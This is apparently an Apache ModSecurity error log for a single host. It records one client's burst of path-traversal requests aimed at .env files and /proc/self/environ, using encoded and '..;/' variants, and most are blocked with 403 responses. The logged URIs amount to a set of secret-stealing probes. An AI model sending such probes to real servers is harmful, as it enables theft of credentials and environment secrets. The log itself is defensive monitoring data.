[Mon Oct 26 07:05:14.206422 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at8z6qe0hdS5i1FYoSkSZgAAACw"]
[Mon Oct 26 07:05:14.206610 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at8z6qe0hdS5i1FYoSkSZgAAACw"]
[Mon Oct 26 07:05:14.206809 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at8z6qe0hdS5i1FYoSkSZgAAACw"]
[Mon Oct 26 07:05:14.210907 2026] [core:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] AH10244: invalid URI path (/icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/proc/self/environ)
[Mon Oct 26 07:05:14.213559 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at8z6rFCbpdt8WThhgVJxgAAACY"]
[Mon Oct 26 07:05:14.213614 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at8z6rFCbpdt8WThhgVJxgAAACY"]
[Mon Oct 26 07:05:14.213781 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at8z6rFCbpdt8WThhgVJxgAAACY"]
[Mon Oct 26 07:05:14.213994 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at8z6rFCbpdt8WThhgVJxgAAACY"]
[Mon Oct 26 07:05:14.215041 2026] [security2:error] [pid 3019697:tid 3019697] [client 34.39.164.1:35324] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at8z6izBVbdmenz1Qplf4AAAACs"]
[Mon Oct 26 07:05:14.215100 2026] [security2:error] [pid 3019697:tid 3019697] [client 34.39.164.1:35324] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at8z6izBVbdmenz1Qplf4AAAACs"]
[Mon Oct 26 07:05:14.215160 2026] [security2:error] [pid 3019697:tid 3019697] [client 34.39.164.1:35324] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at8z6izBVbdmenz1Qplf4AAAACs"]
[Mon Oct 26 07:05:14.215291 2026] [security2:error] [pid 3019697:tid 3019697] [client 34.39.164.1:35324] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at8z6izBVbdmenz1Qplf4AAAACs"]
[Mon Oct 26 07:05:14.215494 2026] [security2:error] [pid 3019697:tid 3019697] [client 34.39.164.1:35324] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at8z6izBVbdmenz1Qplf4AAAACs"]
[Mon Oct 26 07:05:14.216667 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at8z6iz2IVlcktcA6K04ZQAAABg"]
[Mon Oct 26 07:05:14.216752 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at8z6iz2IVlcktcA6K04ZQAAABg"]
[Mon Oct 26 07:05:14.216918 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at8z6iz2IVlcktcA6K04ZQAAABg"]
[Mon Oct 26 07:05:14.217156 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at8z6iz2IVlcktcA6K04ZQAAABg"]
[Mon Oct 26 07:05:14.217773 2026] [core:error] [pid 3019690:tid 3019690] [client 34.39.164.1:35284] AH10244: invalid URI path (/%2e%2e/.env)
[Mon Oct 26 07:05:14.225030 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/static/..;/..;/..;/..;/proc/self/environ"] [unique_id "at8z6htqC-HENAKDpEgEoQAAABU"]
[Mon Oct 26 07:05:14.225240 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/static/..;/..;/..;/..;/proc/self/environ"] [unique_id "at8z6htqC-HENAKDpEgEoQAAABU"]
[Mon Oct 26 07:05:14.225445 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/static/..;/..;/..;/..;/proc/self/environ"] [unique_id "at8z6htqC-HENAKDpEgEoQAAABU"]
[Mon Oct 26 07:05:14.863787 2026] [security2:error] [pid 3019686:tid 3019686] [client 34.39.164.1:35192] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at8z6qbpYBcP_C49hyVJRwAAACA"]
[Mon Oct 26 07:05:14.864072 2026] [security2:error] [pid 3019686:tid 3019686] [client 34.39.164.1:35192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at8z6qbpYBcP_C49hyVJRwAAACA"]
[Mon Oct 26 07:05:14.864411 2026] [security2:error] [pid 3019686:tid 3019686] [client 34.39.164.1:35192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at8z6qbpYBcP_C49hyVJRwAAACA"]
[Mon Oct 26 07:05:14.865479 2026] [security2:error] [pid 3019679:tid 3019679] [client 34.39.164.1:35158] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /dist../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at8z6hh50RnVZRO9NRvu_wAAABo"]
[Mon Oct 26 07:05:14.865546 2026] [security2:error] [pid 3019679:tid 3019679] [client 34.39.164.1:35158] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /dist../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at8z6hh50RnVZRO9NRvu_wAAABo"]
[Mon Oct 26 07:05:14.865599 2026] [security2:error] [pid 3019679:tid 3019679] [client 34.39.164.1:35158] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at8z6hh50RnVZRO9NRvu_wAAABo"]
[Mon Oct 26 07:05:14.865760 2026] [security2:error] [pid 3019679:tid 3019679] [client 34.39.164.1:35158] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at8z6hh50RnVZRO9NRvu_wAAABo"]
[Mon Oct 26 07:05:14.866065 2026] [security2:error] [pid 3019688:tid 3019688] [client 34.39.164.1:35270] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at8z6v_Zz0j_Mk0sDWyEjwAAACI"]
[Mon Oct 26 07:05:14.866115 2026] [security2:error] [pid 3019679:tid 3019679] [client 34.39.164.1:35158] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/dist../.env"] [unique_id "at8z6hh50RnVZRO9NRvu_wAAABo"]
[Mon Oct 26 07:05:14.866306 2026] [security2:error] [pid 3019688:tid 3019688] [client 34.39.164.1:35270] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at8z6v_Zz0j_Mk0sDWyEjwAAACI"]
[Mon Oct 26 07:05:14.866611 2026] [security2:error] [pid 3019688:tid 3019688] [client 34.39.164.1:35270] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at8z6v_Zz0j_Mk0sDWyEjwAAACI"]
[Mon Oct 26 07:05:14.868287 2026] [security2:error] [pid 3019682:tid 3019682] [client 34.39.164.1:35110] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /build../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at8z6nVeuSCOTt2OzNZDcgAAAB0"]
[Mon Oct 26 07:05:14.868351 2026] [security2:error] [pid 3019682:tid 3019682] [client 34.39.164.1:35110] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /build../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at8z6nVeuSCOTt2OzNZDcgAAAB0"]
[Mon Oct 26 07:05:14.868404 2026] [security2:error] [pid 3019682:tid 3019682] [client 34.39.164.1:35110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at8z6nVeuSCOTt2OzNZDcgAAAB0"]
[Mon Oct 26 07:05:14.868586 2026] [security2:error] [pid 3019682:tid 3019682] [client 34.39.164.1:35110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at8z6nVeuSCOTt2OzNZDcgAAAB0"]
[Mon Oct 26 07:05:14.868892 2026] [security2:error] [pid 3019682:tid 3019682] [client 34.39.164.1:35110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/build../.env"] [unique_id "at8z6nVeuSCOTt2OzNZDcgAAAB0"]
[Mon Oct 26 07:05:14.869517 2026] [security2:error] [pid 3019683:tid 3019683] [client 34.39.164.1:35204] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at8z6lof53hb7OuRv5elYQAAAB4"]
[Mon Oct 26 07:05:14.869587 2026] [security2:error] [pid 3019683:tid 3019683] [client 34.39.164.1:35204] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /img../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/img../.env"] [unique_id "at8z6lof53hb7OuRv5elYQAAAB4"]
